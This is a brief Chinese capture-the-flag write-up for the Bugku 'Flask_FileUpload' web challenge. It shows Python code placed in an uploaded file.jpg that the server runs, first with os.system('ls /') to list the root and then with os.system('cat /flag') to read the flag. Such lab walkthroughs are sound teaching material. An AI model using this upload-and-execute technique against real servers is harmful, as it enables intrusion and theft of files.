Bugku-web-Flask_FileUpload

Bugku-web-Flask_FileUpload

查看源代码,提示用python返回结果

在file.jpg中写python代码

复制代码
import os
os.system('ls / ')

上传后查看源代码,找到flag文件夹

修改代码

复制代码
import os
os.system('cat /flag ')
相关推荐
GEOshijie12312 小时前
GEO服务商算法适配承诺怎么验收?48小时响应的合同化考核方案
人工智能·python
小绫网络安全12 小时前
【2026最新版】网络安全入门路线
安全·web安全
卷无止境12 小时前
FastAPI 前端托管全攻略:从静态文件到大型全栈项目架构
后端·python
扫一屋12 小时前
Element Plus 源码级深度定制:不 Fork、不改包,用 Vite 插件实现组件行为运行时改造
前端
QQ54164512112 小时前
【驿帮查件助手python开源】开源聚合查件机器人,实现 24 类驿站批量查件取代短信通知。技术方案分享
python·机器人·开源·驿站查件机器人
卷无止境12 小时前
当FastAPI项目开始"膨胀",代码该往哪儿放
后端·python
用户83562907805113 小时前
Python设置PowerPoint幻灯片背景的方法
后端·python
wang_yb13 小时前
Python 中 10 个最常用的统计函数
python·databook
databook13 小时前
Python 中 10 个最常用的统计函数
python·数据分析
mit6.82413 小时前
devops
运维·flask·devops